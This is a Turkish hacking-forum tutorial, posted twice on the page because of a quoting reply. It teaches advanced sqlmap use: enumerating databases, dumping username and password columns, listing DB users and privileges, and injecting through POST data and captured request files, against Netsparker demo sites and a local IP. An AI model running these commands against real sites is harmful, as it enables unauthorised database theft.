İleri Seviye SQLMAP Kullanımı PART1 //LuciSex

Bu yazımızda, özellikle pentesterların yoğun bir şekilde kullandığı sqlmap aracı hakkında bazı tüyolar ve gelişmiş kullanım örnekleri vereceğiz. Bununla birlikte Netsparker...

Bu yazımızda, özellikle pentesterların yoğun bir şekilde kullandığı sqlmap aracı hakkında bazı tüyolar ve gelişmiş kullanım örnekleri vereceğiz. Bununla birlikte Netsparker Desktop’ın SQL Injection açıklarında sqlmap aracı için sağlamakta olduğu destekten de bahsediyor olacağız.


Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Bünyesinde barındırdığı özellikler sayesinde, veri tabanı sunucularının yönetimini ele geçirmekten hedef sunucunun işletim sisteminde komut çalıştırmaya kadar pek çok işlevi yerine getirebilmektedir. Birçok veri tabanı yönetim sistemi için desteği bulunan sqlmap aracını şu bağlantıdan indirebilirsiniz:


https://github.com/sqlmapproject/sqlmap

Basit Kullanım Örnekleri

İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:


sqlmap'te Yaygın Olarak Kullanılan Url Parametresine Örnek


Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs

Veri Tabanı Listesine Ait Çıktılar


Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının
listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları
ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:


sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump

-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.


Tüyo: Tek tire (-) veya çift tire (--)
kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk
ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini
karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli
parametrelerde ise değer girilmeden önce eşittir işaretinin
kullanıldığını aklınızda tutabilirsiniz.


Not: Herhangi bir database’den veri çekebilmek için
sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken
yetkileri haiz olması zorunluluğunu unutmamak gerekir.


Yetki Kontrolü

Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi
için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip
olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç
parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U
parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde
“current user” yani veri tabanı bağlantısını gerçekleştiren
kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak
kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba
parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False"
değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe
ilişkin ekran görüntüsünü aşağıda görmektesiniz:


sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles

Yapılan Örneğin Çıktısına Ait Ekran Görüntüsü


Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.


Birden Fazla Hedefi Tarama

Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:



Bunun için, parametreden sonra dosyanın path’i belirtilir:


sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"

Bir İstek Dosyası Yükleme

Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak
gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği
kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:


GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello

Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):


sqlmap -r "istek.txt"

Not: Burada yapılan istekte Rewrite edilmiş bir URL
yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen
bölümlerinde bulabilirsiniz.


POST İsteği Yapma

Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile
sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET
isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir.
Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak
ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.


Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:


Örnek Bir Login Sayfası


Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi,
herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek
saldırı şöyle olacaktır:


sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"

Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms)
girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı
durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da
mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta
kullanacağımız komut biraz değişecektir:


POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;

------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--

Kullanacağımız komut:


sqlmap -r istek.txt -p "loginname" --dbms="MySQL"

Not: Basit parametrelerden biri olan --dbms testlerin
daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler
sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin
kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap,
sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer
DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış
olacaktır.


Forms Parametresi

POST istekleriyle ilintili başka bir parametre ise --forms
parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap
tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu
şekildedir:


sqlmap -u http://192.168.1.37/index.php?action=login --forms

Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.


Form Parametresinin Çıktısına Ait Ekran Görüntüsü



İleri Seviye SQLMAP Kullanımı PART2 : https://www.spyhackerz.org/forum/threads/İleri-seviye-sqlmap-kullanımı-part2-lucisex.40365/
 
Moderatörün son düzenlenenleri:
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
Bu yazımızda, özellikle pentesterların yoğun bir şekilde kullandığı sqlmap aracı hakkında bazı tüyolar ve gelişmiş kullanım örnekleri vereceğiz. Bununla birlikte Netsparker Desktop’ın SQL Injection açıklarında sqlmap aracı için sağlamakta olduğu destekten de bahsediyor olacağız.


Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Bünyesinde barındırdığı özellikler sayesinde, veri tabanı sunucularının yönetimini ele geçirmekten hedef sunucunun işletim sisteminde komut çalıştırmaya kadar pek çok işlevi yerine getirebilmektedir. Birçok veri tabanı yönetim sistemi için desteği bulunan sqlmap aracını şu bağlantıdan indirebilirsiniz:


https://github.com/sqlmapproject/sqlmap

Basit Kullanım Örnekleri

İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:


sqlmap'te Yaygın Olarak Kullanılan Url Parametresine Örnek'te Yaygın Olarak Kullanılan Url Parametresine Örnek


Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs

Veri Tabanı Listesine Ait Çıktılar


Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının
listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları
ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:


sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns

sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump

-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.


Tüyo: Tek tire (-) veya çift tire (--)
kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk
ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini
karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli
parametrelerde ise değer girilmeden önce eşittir işaretinin
kullanıldığını aklınızda tutabilirsiniz.


Not: Herhangi bir database’den veri çekebilmek için
sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken
yetkileri haiz olması zorunluluğunu unutmamak gerekir.


Yetki Kontrolü

Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi
için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip
olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç
parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U
parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde
“current user” yani veri tabanı bağlantısını gerçekleştiren
kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak
kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba
parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False"
değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe
ilişkin ekran görüntüsünü aşağıda görmektesiniz:


sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles

Yapılan Örneğin Çıktısına Ait Ekran Görüntüsü


Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.


Birden Fazla Hedefi Tarama

Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:



Bunun için, parametreden sonra dosyanın path’i belirtilir:


sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"

Bir İstek Dosyası Yükleme

Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak
gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği
kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:


GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello

Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):


sqlmap -r "istek.txt"

Not: Burada yapılan istekte Rewrite edilmiş bir URL
yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen
bölümlerinde bulabilirsiniz.


POST İsteği Yapma

Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile
sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET
isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir.
Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak
ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.


Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:


Örnek Bir Login Sayfası


Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi,
herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek
saldırı şöyle olacaktır:


sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"

Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms)
girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı
durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da
mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta
kullanacağımız komut biraz değişecektir:


POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;

------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--

Kullanacağımız komut:


sqlmap -r istek.txt -p "loginname" --dbms="MySQL"

Not: Basit parametrelerden biri olan --dbms testlerin
daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler
sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin
kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap,
sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer
DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış
olacaktır.


Forms Parametresi

POST istekleriyle ilintili başka bir parametre ise --forms
parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap
tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu
şekildedir:


sqlmap -u http://192.168.1.37/index.php?action=login --forms

Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.


Form Parametresinin Çıktısına Ait Ekran Görüntüsü



İleri Seviye SQLMAP Kullanımı PART2 : https://www.spyhackerz.org/forum/threads/İleri-seviye-sqlmap-kullanımı-part2-lucisex.40365/
Eyw
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
131,980Konular
3,273,510Mesajlar
316,689Kullanıcılar
Üst Alt